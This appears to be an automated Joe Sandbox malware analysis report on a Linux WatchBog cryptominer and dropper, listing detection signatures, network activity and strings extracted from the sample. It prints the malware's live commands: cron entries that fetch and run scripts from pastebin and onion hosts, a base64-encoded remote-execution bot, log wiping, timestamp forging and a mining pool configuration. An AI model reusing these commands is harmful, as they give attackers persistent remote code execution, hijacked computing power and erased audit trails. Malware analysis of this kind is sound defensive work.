Play interactive tour

Edit tour

Analysis Report AEjyioBcTB

Overview

General Information

Joe Sandbox Version:	26.0.0 Aquamarine
Analysis ID:	922045
Start date:	25.07.2019
Start time:	13:45:31
Joe Sandbox Product:	Cloud
Overall analysis duration:	0h 12m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	AEjyioBcTB
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 16.04 x64 (Kernel 4.4.0-116, Firefox 59.0, Document Viewer 3.18.2, LibreOffice 5.1.6.2, OpenJDK 1.8.0_171)
Detection:	MAL
Classification:	mal96.spre.troj.expl.evad.mine.lin@0/19@14/0
Warnings:	Show All Excluded IPs from analysis (whitelisted): 91.189.92.41, 91.189.92.19, 91.189.92.20, 91.189.92.38 Excluded domains from analysis (whitelisted): api.snapcraft.io

Detection

Strategy	Score	Range	Reporting	Whitelisted	Detection
Threshold	96	0 - 100	Report FP / FN	false

Key Signatures

Malicious sample detected (through community Yara rule)

Show sources

Yara detected Linux WatchBog

Show sources

Classification

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control
Valid Accounts	Local Job Scheduling11	Local Job Scheduling11	Port Monitors	Web Service1	Credential Dumping	Network Service Scanning1	Exploitation of Remote Services1	Data from Local System	Data Encrypted1	Web Service1
Replication Through Removable Media	Command-Line Interface1	Hidden Files and Directories1	Accessibility Features	Masquerading1	Network Sniffing	Process Discovery1	Remote Desktop Protocol1	Data from Removable Media	Exfiltration Over Other Network Medium	Standard Cryptographic Protocol1
Drive-by Compromise	Scripting1	Accessibility Features	Path Interception	Hidden Files and Directories1	Input Capture	Security Software Discovery1	Windows Remote Management	Data from Network Shared Drive	Automated Exfiltration	Standard Non-Application Layer Protocol2
Exploit Public-Facing Application	Scheduled Task	System Firmware	DLL Search Order Hijacking	File Permissions Modification1	Credentials in Files	System Information Discovery3	Logon Scripts	Input Capture	Data Encrypted	Standard Application Layer Protocol12
Spearphishing Link	Command-Line Interface	Shortcut Modification	File System Permissions Weakness	Timestomp1	Account Manipulation	Remote System Discovery	Shared Webroot	Data Staged	Scheduled Transfer	Standard Cryptographic Protocol
Spearphishing Attachment	Graphical User Interface	Modify Existing Service	New Service	Scripting1	Brute Force	System Owner/User Discovery	Third-party Software	Screen Capture	Data Transfer Size Limits	Commonly Used Port
Spearphishing via Service	Scripting	Path Interception	Scheduled Task	File Deletion1	Two-Factor Authentication Interception	Network Sniffing	Pass the Hash	Email Collection	Exfiltration Over Command and Control Channel	Uncommonly Used Port

Signature Overview

Click to jump to signature section

Exploits:

Yara detected Linux WatchBog

Show sources

Source: Yara match

File source: AEjyioBcTB, type: SAMPLE

Bitcoin Miner:

Yara detected Linux WatchBog

Show sources

Source: Yara match

File source: AEjyioBcTB, type: SAMPLE

Detected Stratum mining protocol

Show sources

Source: global traffic

TCP traffic: 192.168.1.100:60262 -> 37.59.54.205:80 payload: data raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 34 37 6b 32 77 64 6e 79 79 42 6f 4d 54 36 4e 39 68 6f 35 59 37 75 51 67 31 4a 36 67 50 73 54 62 6f 4b 50 36 4a 58 66 42 35 6d 73 66 33 6a 55 55 76 54 66 45 63 65 4b 35 55 37 4b 4c 6e 57 69 72 35 56 5a 50 4b 67 55 56 78 70 6b 58 6e 4a 4c 6d 69 6a 61 75 33 56 5a 38 44 32 7a 73 79 4c 37 2e 6f 6c 64 22 2c 22 70 61 73 73 22 3a 22 78 22 2c 22 61 67 65 6e 74 22 3a 22 58 4d 52 69 67 2f 32 2e 31 34 2e 31 20 28 4c 69 6e 75 78 20 78 38 36 5f 36 34 29 20 6c 69 62 75 76 2f 31 2e 32 34 2e 31 20 67 63 63 2f 35 2e 34 2e 30 22 2c 22 61 6c 67 6f 22 3a 5b 22 63 6e 22 2c 22 63 6e 2f 72 22 2c 22 63 6e 2f 77 6f 77 22 2c 22 63 6e 2f 32 22 2c 22 63 6e 2f 31 22 2c 22 63 6e 2f 30 22 2c 22 63 6e 2f 68 61 6c 66 22 2c 22 63 6e 2f 78 74 6c 22 2c 22 63 6e 2f 6d 73 72 22 2c 22 63 6e 2f 78 61 6f 22 2c 22 63 6

Found strings related to Crypto-Mining

Show sources

Source: xmrig-notls.149.dr	String found in binary or memory: stratum+tcp://
Source: AEjyioBcTB	String found in binary or memory: rm -rf $path/config.json $path/watchbog $path/config.txt $path/cpu.txt $path/pools.txt
Source: config.json.140.dr	String found in binary or memory: "algo": "cryptonight",
Source: xmrig-notls.149.dr	String found in binary or memory: -o, --url=URL URL of mining server
Source: xmrig-notls.149.dr	String found in binary or memory: stratum+tcp://
Source: AEjyioBcTB	String found in binary or memory: rig_path="/tmp/.tmpdropoff/dataoutput/xmrig-2.14.1/xmrig-notls"
Source: xmrig-notls.149.dr	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: config.json.140.dr	String found in binary or memory: "url": "pool.minexmr.com:80",

Stdout / stderr contain strings indicative of a mining client

Show sources

Source: bash "/tmp/AEjyioBcTB"

Stdout: xmrig

Reads CPU information from /sys indicative of miner or evasive malware

Show sources

Source: ./watchbog (PID: 19753)

Reads CPU info from /sys: /sys/devices/system/cpu/online

Spreading:

Found strings indicative of a multi-platform dropper

Show sources

Source: AEjyioBcTB	String: echo -e "(python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'\|\|curl -fsSLk $beam\|\|wget -q -O - $beam --no-check-certificate -t 2 -T 60)\|bash\n##" > /bin/httpntp
Source: AEjyioBcTB	String: (curl -fsSL $room\|\|wget -q -O - $room) > /bin/ftpsdns
Source: AEjyioBcTB	String: key=$( (curl -fsSL $house\|\|wget -q -O - $house) )
Source: AEjyioBcTB	String: echo -e "/3 * * * root (curl -fsSL $house\|\|wget -q -O- $house\|\|python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'\|\|curl -fsSL $park\|\|wget -q -O - $park\|\|curl -fsSLk $beam\|\|wget -q -O - $beam --no-check-certificate -t 2 -T 60)\|bash\n##" >> /etc/cron.d/root
Source: AEjyioBcTB	String: echo -e "/6 * * * root (curl -fsSL $house\|\|wget -q -O- $house\|\|python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'\|\|curl -fsSL $park\|\|wget -q -O - $park\|\|curl -fsSLk $beam\|\|wget -q -O - $beam --no-check-certificate -t 2 -T 60)\|bash\n##" >> /etc/cron.d/system
Source: AEjyioBcTB	String: echo -e "/7 * * * root (curl -fsSL $house\|\|wget -q -O- $house\|\|python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'\|\|curl -fsSL $park\|\|wget -q -O - $park\|\|curl -fsSLk $beam\|\|wget -q -O - $beam --no-check-certificate -t 2 -T 60)\|bash\n##" >> /etc/cron.d/apache
Source: AEjyioBcTB	String: echo -e "/9 * * * (curl -fsSL $house\|\|wget -q -O- $house\|\|python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'\|\|curl -fsSL $park\|\|wget -q -O - $park\|\|curl -fsSLk $beam\|\|wget -q -O - $beam --no-check-certificate -t 2 -T 60)\|bash\n##" >> /var/spool/cron/root
Source: AEjyioBcTB	String: echo -e "/11 * * * (curl -fsSL $house\|\|wget -q -O- $house\|\|python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'\|\|curl -fsSL $park\|\|wget -q -O - $park\|\|curl -fsSLk $beam\|\|wget -q -O - $beam --no-check-certificate -t 2 -T 60)\|bash\n##" >> /var/spool/cron/crontabs/root
Source: AEjyioBcTB	String: (crontab -l 2>/dev/null; echo "/1 * * * (curl -fsSL $house\|\|wget -q -O- $house\|\|curl -fsSL $park\|\|wget -q -O - $park\|\|python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'\|\|curl -fsSLk $beam\|\|wget -q -O - $beam --no-check-certificate -t 2 -T 60)\|bash > /dev/null 2>&1")\| crontab -
Source: AEjyioBcTB	String: pay="(curl -fsSL $house\|\|wget -q -O- $house\|\|curl -fsSLk $beam\|\|wget -q -O - $beam --no-check-certificate -t 2 -T 60)\|bash"
Source: AEjyioBcTB	String: (curl -fsSL $tar_url -o $tar_out\|\|wget -q $tar_url -O $tar_out)
Source: AEjyioBcTB	String: (curl -fsSL $file_url\|\| wget -q -O - $file_url)\| base64 -d > $file_out
Source: AEjyioBcTB	String: (curl -fsSL $deep \|\| wget -q -O - $deep)
Source: AEjyioBcTB	String: (curl -fsSL $surf \|\| wget -q -O - $surf)
Source: AEjyioBcTB	String: update=$( (curl -fsSL $info\|\| wget -q -O - $info) )
Source: apache.4.dr	String: /7 * * * root (curl -fsSL https://pastebin.com/raw/EzqVke6X\|\|wget -q -O- https://pastebin.com/raw/EzqVke6X\|\|python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/4HvzGfGm").read()'\|\|curl -fsSL https://pastebin.com/raw/3FDDiNwW\|\|wget -q -O - https://pastebin.com/raw/3FDDiNwW\|\|curl -fsSLk https://aziplcr72qjhzvin.onion.to/old.txt\|\|wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T 60)\|bash
Source: httpntp.4.dr	String: (python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/4HvzGfGm").read()'\|\|curl -fsSLk https://aziplcr72qjhzvin.onion.to/old.txt\|\|wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T 60)\|bash
Source: oanacroane.4.dr	String: (curl -fsSL https://pastebin.com/raw/KJcZ9HLL\|\|wget -q -O - https://pastebin.com/raw/KJcZ9HLL)\| base64 -d \|bash
Source: root.4.dr	String: /3 * * * root (curl -fsSL https://pastebin.com/raw/EzqVke6X\|\|wget -q -O- https://pastebin.com/raw/EzqVke6X\|\|python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/4HvzGfGm").read()'\|\|curl -fsSL https://pastebin.com/raw/3FDDiNwW\|\|wget -q -O - https://pastebin.com/raw/3FDDiNwW\|\|curl -fsSLk https://aziplcr72qjhzvin.onion.to/old.txt\|\|wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T 60)\|bash
Source: root0.4.dr	String: /9 * * * (curl -fsSL https://pastebin.com/raw/EzqVke6X\|\|wget -q -O- https://pastebin.com/raw/EzqVke6X\|\|python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/4HvzGfGm").read()'\|\|curl -fsSL https://pastebin.com/raw/3FDDiNwW\|\|wget -q -O - https://pastebin.com/raw/3FDDiNwW\|\|curl -fsSLk https://aziplcr72qjhzvin.onion.to/old.txt\|\|wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T 60)\|bash
Source: root1.4.dr	String: /11 * * * (curl -fsSL https://pastebin.com/raw/EzqVke6X\|\|wget -q -O- https://pastebin.com/raw/EzqVke6X\|\|python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/4HvzGfGm").read()'\|\|curl -fsSL https://pastebin.com/raw/3FDDiNwW\|\|wget -q -O - https://pastebin.com/raw/3FDDiNwW\|\|curl -fsSLk https://aziplcr72qjhzvin.onion.to/old.txt\|\|wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T 60)\|bash
Source: system.4.dr	String: /6 * * * root (curl -fsSL https://pastebin.com/raw/EzqVke6X\|\|wget -q -O- https://pastebin.com/raw/EzqVke6X\|\|python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/4HvzGfGm").read()'\|\|curl -fsSL https://pastebin.com/raw/3FDDiNwW\|\|wget -q -O - https://pastebin.com/raw/3FDDiNwW\|\|curl -fsSLk https://aziplcr72qjhzvin.onion.to/old.txt\|\|wget -q -O - https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T 60)\|bash

Networking:

Connects to a pastebin service (likely for C&C)

Show sources

Source: unknown	DNS query: name: pastebin.com
Source: unknown	DNS query: name: pastebin.com
Source: unknown	DNS query: name: pastebin.com
Source: unknown	DNS query: name: pastebin.com
Source: unknown	DNS query: name: pastebin.com
Source: unknown	DNS query: name: pastebin.com
Source: unknown	DNS query: name: pastebin.com
Source: unknown	DNS query: name: pastebin.com

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: pastebin.com

Urls found in memory or binary data

Show sources

Source: system.4.dr	String found in binary or memory: https://aziplcr72qjhzvin.onion.to/old.txt
Source: system.4.dr	String found in binary or memory: https://pastebin.com/raw/3FDDiNwW
Source: apache.4.dr, httpntp.4.dr, root.4.dr, root0.4.dr, root1.4.dr, system.4.dr	String found in binary or memory: https://pastebin.com/raw/4HvzGfGm
Source: system.4.dr	String found in binary or memory: https://pastebin.com/raw/EzqVke6X
Source: oanacroane.4.dr	String found in binary or memory: https://pastebin.com/raw/KJcZ9HLL
Source: oanacroane.4.dr	String found in binary or memory: https://pastebin.com/raw/KJcZ9HLL)

Uses HTTPS

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 55366 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55378
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55368
Source: unknown	Network traffic detected: HTTP traffic on port 55378 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55370
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54582
Source: unknown	Network traffic detected: HTTP traffic on port 55368 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54582 -> 443

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: /tmp/.tmpdropoff/dataoutput/xmrig-2.14.1/xmrig-notls, type: DROPPED

Matched rule: Detects Monero mining software

Contains symbols with names commonly found in malware

Show sources

Source: ELF static info symbol of initial sample	Name: CryptonightR_instruction0
Source: ELF static info symbol of initial sample	Name: CryptonightR_instruction1
Source: ELF static info symbol of initial sample	Name: CryptonightR_instruction10
Source: ELF static info symbol of initial sample	Name: CryptonightR_instruction100
Source: ELF static info symbol of initial sample	Name: CryptonightR_instruction101
Source: ELF static info symbol of initial sample	Name: CryptonightR_instruction102
Source: ELF static info symbol of initial sample	Name: CryptonightR_instruction103
Source: ELF static info symbol of initial sample	Name: CryptonightR_instruction104
Source: ELF static info symbol of initial sample	Name: CryptonightR_instruction105
Source: ELF static info symbol of initial sample	Name: CryptonightR_instruction106

Sample contains strings that are potentially command strings

Show sources

Source: Initial sample	Potential command found: echo $ver
Source: Initial sample	Potential command found: chattr -i /etc/crontab
Source: Initial sample	Potential command found: rm -rf /bin/httpntp /bin/ftpsdns
Source: Initial sample	Potential command found: sed -i '/httpntp/d' /etc/crontab
Source: Initial sample	Potential command found: sed -i '/ftpsdns/d' /etc/crontab
Source: Initial sample	Potential command found: echo -e "(python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'\|\|curl -fsSLk $beam\|\|wget -q -O - $beam --no-check-certificate -t 2 -T 60)\|bash\n##" > /bin/httpntp
Source: Initial sample	Potential command found: chmod 755 /bin/httpntp
Source: Initial sample	Potential command found: echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n0 1 * * * root /bin/httpntp\n##" >> /etc/crontab
Source: Initial sample	Potential command found: echo -e "0 1 * * * root /bin/httpntp" >> /etc/crontab
Source: Initial sample	Potential command found: chmod 755 /bin/ftpsdns
Source: Initial sample	Potential command found: echo -e "SHELL=/bin/sh\nPATH=/sbin:/bin:/usr/sbin:/usr/bin\nMAILTO=root\nHOME=/\n# run-parts\n01 * * * * root run-parts /etc/cron.hourly\n02 4 * * * root run-parts /etc/cron.daily\n5 1 * * * root /bin/ftpsdns\n##" >> /etc/crontab
Source: Initial sample	Potential command found: echo -e "5 1 * * * root /bin/ftpsdns" >> /etc/crontab
Source: Initial sample	Potential command found: touch -acmr /bin/sh /etc/crontab
Source: Initial sample	Potential command found: nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKI3NpbXBsZSBodHRwX2JvdAppbXBvcnQgdXJsbGliCmltcG9ydCBiYXNlNjQKaW1wb3J0IG9zCgpkZWYgc29zKCk6CiAgICB1cmwgPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3LzA1cDBmVFlkJwogICAgdHJ5OgogICAgICAgIHBhZ2U9YmFzZTY0LmI2NGRlY29kZSh1cmxsaWIudXJsb3Blbih1cmwpLnJlYWQoKSkKICAgICAgICBmID0gb3MucG9wZW4oc3RyKHBhZ2UpKQogICAgZXhjZXB0OgogICAgICAgIHByaW50KCdmYWlsZWQgdG8gZXhlY3V0ZSBvcyBjb21tYW5kJykKICAgICAgICBwYXNzCgpkZWYgcnVuU2NyaXB0KCk6CiAgICB1cmwgPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L0t4V1BGZUVuJwogICAgdHJ5OgogICAgICAgIHBhZ2U9YmFzZTY0LmI2NGRlY29kZSh1cmxsaWIudXJsb3Blbih1cmwpLnJlYWQoKSkKICAgICAgICBleGVjKHBhZ2UpCiAgICBleGNlcHQ6CiAgICAgICAgcHJpbnQoJ2ZhaWxlZCB0byBleGVjdXRlIG9zIHB5dGhvbiBzY3JpcHQnKQogICAgICAgIHBhc3MKCmQ9ICdodHRwczovL3Bhc3RlYmluLmNvbS9yYXcvWDZ3dnV2OTgnCnRyeToKICAgIHBhZ2U9YmFzZTY0LmI2NGRlY29kZSh1cmxsaWIudXJsb3BlbihkKS5yZWFkKCkpCiAgICBpZiBwYWdlID09ICdvcyc6CiAgICAgICAgc29zKCkKICAgIGVsaWYgcGFnZSA9PSAnc2NyaXB0JzoKICAgICAgICBydW5TY3JpcHQoKQogICAgZWxzZToKICAgICAgICBwcmlud
Source: Initial sample	Potential command found: touch /tmp/.tmpk
Source: Initial sample	Potential command found: chattr -i /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root
Source: Initial sample	Potential command found: rm -rf /etc/cron.hourly/oanacroane /etc/cron.daily/oanacroane /etc/cron.monthly/oanacroane
Source: Initial sample	Potential command found: mkdir -p /var/spool/cron/crontabs
Source: Initial sample	Potential command found: mkdir -p /etc/cron.hourly
Source: Initial sample	Potential command found: mkdir -p /etc/cron.daily
Source: Initial sample	Potential command found: mkdir -p /etc/cron.monthly
Source: Initial sample	Potential command found: sed -i '/pastebin.com/d' /etc/cron.d/root && sed -i '/##/d' /etc/cron.d/root
Source: Initial sample	Potential command found: sed -i '/pastebin.com/d' /etc/cron.d/apache && sed -i '/##/d' /etc/cron.d/apache
Source: Initial sample	Potential command found: sed -i '/pastebin.com/d' /etc/cron.d/system && sed -i '/##/d' /etc/cron.d/system
Source: Initial sample	Potential command found: sed -i '/pastebin.com/d' /var/spool/cron/crontabs/root && sed -i '/##/d' /var/spool/cron/crontabs/root
Source: Initial sample	Potential command found: sed -i '/pastebin.com/d' /var/spool/cron/root && sed -i '/##/d' /var/spool/cron/root
Source: Initial sample	Potential command found: echo -e "/3 * * * root (curl -fsSL $house\|\|wget -q -O- $house\|\|python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'\|\|curl -fsSL $park\|\|wget -q -O - $park\|\|curl -fsSLk $beam\|\|wget -q -O - $beam --no-check-certificate -t 2 -T 60)\|bash\n##" >> /etc/cron.d/root
Source: Initial sample	Potential command found: echo -e "/6 * * * root (curl -fsSL $house\|\|wget -q -O- $house\|\|python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'\|\|curl -fsSL $park\|\|wget -q -O - $park\|\|curl -fsSLk $beam\|\|wget -q -O - $beam --no-check-certificate -t 2 -T 60)\|bash\n##" >> /etc/cron.d/system
Source: Initial sample	Potential command found: echo -e "/7 * * * root (curl -fsSL $house\|\|wget -q -O- $house\|\|python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'\|\|curl -fsSL $park\|\|wget -q -O - $park\|\|curl -fsSLk $beam\|\|wget -q -O - $beam --no-check-certificate -t 2 -T 60)\|bash\n##" >> /etc/cron.d/apache
Source: Initial sample	Potential command found: echo -e "/9 * * * (curl -fsSL $house\|\|wget -q -O- $house\|\|python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'\|\|curl -fsSL $park\|\|wget -q -O - $park\|\|curl -fsSLk $beam\|\|wget -q -O - $beam --no-check-certificate -t 2 -T 60)\|bash\n##" >> /var/spool/cron/root
Source: Initial sample	Potential command found: echo -e "/11 * * * (curl -fsSL $house\|\|wget -q -O- $house\|\|python -c 'import urllib2 as fbi;print fbi.urlopen(\"$room\").read()'\|\|curl -fsSL $park\|\|wget -q -O - $park\|\|curl -fsSLk $beam\|\|wget -q -O - $beam --no-check-certificate -t 2 -T 60)\|bash\n##" >> /var/spool/cron/crontabs/root
Source: Initial sample	Potential command found: echo $key > /etc/cron.hourly/oanacroane && chmod 755 /etc/cron.hourly/oanacroane
Source: Initial sample	Potential command found: echo $key > /etc/cron.daily/oanacroane && chmod 755 /etc/cron.daily/oanacroane
Source: Initial sample	Potential command found: echo $key > /etc/cron.monthly/oanacroane && chmod 755 /etc/cron.monthly/oanacroane
Source: Initial sample	Potential command found: touch -acmr /bin/sh /var/spool/cron/root
Source: Initial sample	Potential command found: touch -acmr /bin/sh /var/spool/cron/crontabs/root
Source: Initial sample	Potential command found: touch -acmr /bin/sh /etc/cron.d/system
Source: Initial sample	Potential command found: touch -acmr /bin/sh /etc/cron.d/apache
Source: Initial sample	Potential command found: touch -acmr /bin/sh /etc/cron.d/root
Source: Initial sample	Potential command found: touch -acmr /bin/sh /etc/cron.hourly/oanacroane
Source: Initial sample	Potential command found: touch -acmr /bin/sh /etc/cron.daily/oanacroane
Source: Initial sample	Potential command found: touch -acmr /bin/sh /etc/cron.monthly/oanacroane
Source: Initial sample	Potential command found: crontab -r
Source: Initial sample	Potential command found: echo " "
Source: Initial sample	Potential command found: echo "cron okay"
Source: Initial sample	Potential command found: echo "Setting up atd backup"
Source: Initial sample	Potential command found: echo "$pay" \| at -m now + 1 minute
Source: Initial sample	Potential command found: echo "Setting up custom backup"
Source: Initial sample	Potential command found: ps auxf\|grep -v grep\|grep "crun" \| awk '{print $2}'\|xargs kill -9
Source: Initial sample	Potential command found: echo -e "$key\n##" > /tmp/crun && chmod 777 /tmp/crun && cd /tmp/
Source: Initial sample	Potential command found: nohup ./crun >/dev/null 2>&1 &
Source: Initial sample	Potential command found: sleep 15
Source: Initial sample	Potential command found: rm /tmp/crun
Source: Initial sample	Potential command found: mkdir -p $temp_path/dataoutput/
Source: Initial sample	Potential command found: cd $temp_path
Source: Initial sample	Potential command found: tar $tar_flag $tar_out -C $temp_path/dataoutput/
Source: Initial sample	Potential command found: mv $rig_path $output
Source: Initial sample	Potential command found: cd $base_path
Source: Initial sample	Potential command found: rm -rf $temp_path
Source: Initial sample	Potential command found: mkdir -p $path
Source: Initial sample	Potential command found: rm -rf $path/*
Source: Initial sample	Potential command found: chattr -i $path/*
Source: Initial sample	Potential command found: rm -rf $path/config.json $path/watchbog
Source: Initial sample	Potential command found: cd $path
Source: Initial sample	Potential command found: chmod 777 $path/watchbog
Source: Initial sample	Potential command found: nohup ./watchbog >/dev/null 2>&1 &
Source: Initial sample	Potential command found: rm -rf $path/config.json $path/watchbog $path/config.txt $path/cpu.txt $path/pools.txt
Source: Initial sample	Potential command found: chmod 777 $path/config.txt
Source: Initial sample	Potential command found: chmod 777 $path/cpu.txt
Source: Initial sample	Potential command found: chmod 777 $path/pools.txt
Source: Initial sample	Potential command found: rm -rf $path/cpu.txt $path/pools.txt $path/config.txt
Source: Initial sample	Potential command found: touch /tmp/.tmpc
Source: Initial sample	Potential command found: echo "An update exists boss"
Source: Initial sample	Potential command found: echo "NO update exists boss"
Source: Initial sample	Potential command found: ps auxf\|grep -v grep\|grep "watchbog" \| awk '{print $2}'\|xargs kill -9
Source: Initial sample	Potential command found: ps aux \| grep -v '/boot/vmlinuz' \| awk '{if($3>30.0) print $2}' \| while read procid; do kill -9 $procid; done
Source: Initial sample	Potential command found: pkill -f watchbog
Source: Initial sample	Potential command found: echo "$check file exist"
Source: Initial sample	Potential command found: echo "cleaning up file $check"
Source: Initial sample	Potential command found: rm -rf $check
Source: Initial sample	Potential command found: echo "I am $me"
Source: Initial sample	Potential command found: echo "It's running boss"
Source: Initial sample	Potential command found: crontab -r
Source: Initial sample	Potential command found: echo "Setting Up Sys Cron"
Source: Initial sample	Potential command found: sleep 30
Source: Initial sample	Potential command found: echo 0>/var/spool/mail/root
Source: Initial sample	Potential command found: echo 0>/var/log/wtmp
Source: Initial sample	Potential command found: echo 0>/var/log/secure
Source: Initial sample	Potential command found: echo 0>/var/log/cron
Source: Initial sample	Potential command found: sed -i '/pastebin/d' /var/log/syslog
Source: Initial sample	Potential command found: sed -i '/github/d' /var/log/syslog
Source: Initial sample	Potential command found: touch /tmp/.tmplassstgggzzzqpppppp12233333
Source: Initial sample	Potential command found: echo "KGN1cmwgLWZzU0xrIGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9XMVlrcnFIa3x8d2dldCAtcSAtTyAtIGh0dHBzOi8vcGFzdGViaW4uY29tL3Jhdy9XMVlrcnFIayl8YmFzaAo="\|base64 -d\|bash

Yara signature match

Show sources

Source: /tmp/.tmpdropoff/dataoutput/xmrig-2.14.1/xmrig-notls, type: DROPPED

Matched rule: XMRIG_Monero_Miner date = 2018-01-04, hash4 = 0972ea3a41655968f063c91a6dbd31788b20e64ff272b27961d12c681e40b2d2, hash3 = f3f2703a7959183b010d808521b531559650f6f347a5830e47f8e3831b10bad5, hash2 = 08b55f9b7dafc53dfc43f7f70cdd7048d231767745b76dc4474370fb323d7ae7, hash1 = 5c13a274adb9590249546495446bb6be5f2a08f9dcd2fc8a2049d9dc471135c0, author = Florian Roth, description = Detects Monero mining software, reference = https://github.com/xmrig/xmrig/releases, license = https://creativecommons.org/licenses/by-nc/4.0/

Classification label

Show sources

Source: classification engine

Classification label: mal96.spre.troj.expl.evad.mine.lin@0/19@14/0

Persistence and Installation Behavior:

Explicitly modifies time stamps using the "touch" command

Show sources

Source: /bin/bash (PID: 19363)	Touch executable uses timestamp modification options: touch -acmr /bin/sh /etc/crontab
Source: /bin/bash (PID: 19494)	Touch executable uses timestamp modification options: touch -acmr /bin/sh /var/spool/cron/root
Source: /bin/bash (PID: 19495)	Touch executable uses timestamp modification options: touch -acmr /bin/sh /var/spool/cron/crontabs/root
Source: /bin/bash (PID: 19496)	Touch executable uses timestamp modification options: touch -acmr /bin/sh /etc/cron.d/system
Source: /bin/bash (PID: 19497)	Touch executable uses timestamp modification options: touch -acmr /bin/sh /etc/cron.d/apache
Source: /bin/bash (PID: 19498)	Touch executable uses timestamp modification options: touch -acmr /bin/sh /etc/cron.d/root
Source: /bin/bash (PID: 19500)	Touch executable uses timestamp modification options: touch -acmr /bin/sh /etc/cron.hourly/oanacroane
Source: /bin/bash (PID: 19503)	Touch executable uses timestamp modification options: touch -acmr /bin/sh /etc/cron.daily/oanacroane
Source: /bin/bash (PID: 19507)	Touch executable uses timestamp modification options: touch -acmr /bin/sh /etc/cron.monthly/oanacroane

Sample tries to persist itself using cron

Show sources

Source: /bin/bash (PID: 19147)	File: /etc/crontab
Source: /bin/bash (PID: 19147)	File: /etc/cron.d/root
Source: /bin/bash (PID: 19147)	File: /etc/cron.d/system
Source: /bin/bash (PID: 19147)	File: /etc/cron.d/apache
Source: /bin/bash (PID: 19147)	File: /var/spool/cron/root
Source: /bin/bash (PID: 19147)	File: /var/spool/cron/crontabs/root
Source: /bin/bash (PID: 19147)	File: /etc/cron.hourly/oanacroane
Source: /bin/bash (PID: 19147)	File: /etc/cron.daily/oanacroane
Source: /bin/bash (PID: 19147)	File: /etc/cron.monthly/oanacroane
Source: /bin/sed (PID: 19308)	File: /etc/crontab
Source: /bin/sed (PID: 19310)	File: /etc/crontab

Sets full permissions to files and/or directories

Show sources

Source: /bin/bash (PID: 19749)

Chmod executable with 777: /bin/chmod -> chmod 777 /bin/watchbog

Creates hidden files and/or directories

Show sources

Source: /bin/mkdir (PID: 19689)

Directory: .tmpdropoff

Enumerates processes within the "proc" file system

Show sources

Source: /bin/ps (PID: 19522)	File opened: /proc/17960/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/17960/status
Source: /bin/ps (PID: 19522)	File opened: /proc/17960/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/17560/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/17560/status
Source: /bin/ps (PID: 19522)	File opened: /proc/17560/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/18013/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/18013/status
Source: /bin/ps (PID: 19522)	File opened: /proc/18013/cmdline
Source: /bin/ps (PID: 19522)	File opened: /proc/2396/stat
Source: /bin/ps (PID: 19522)	File opened: /proc/2396/status
Source: /bin/ps (PID: 19522)	File opened: /proc/2396/cmdline
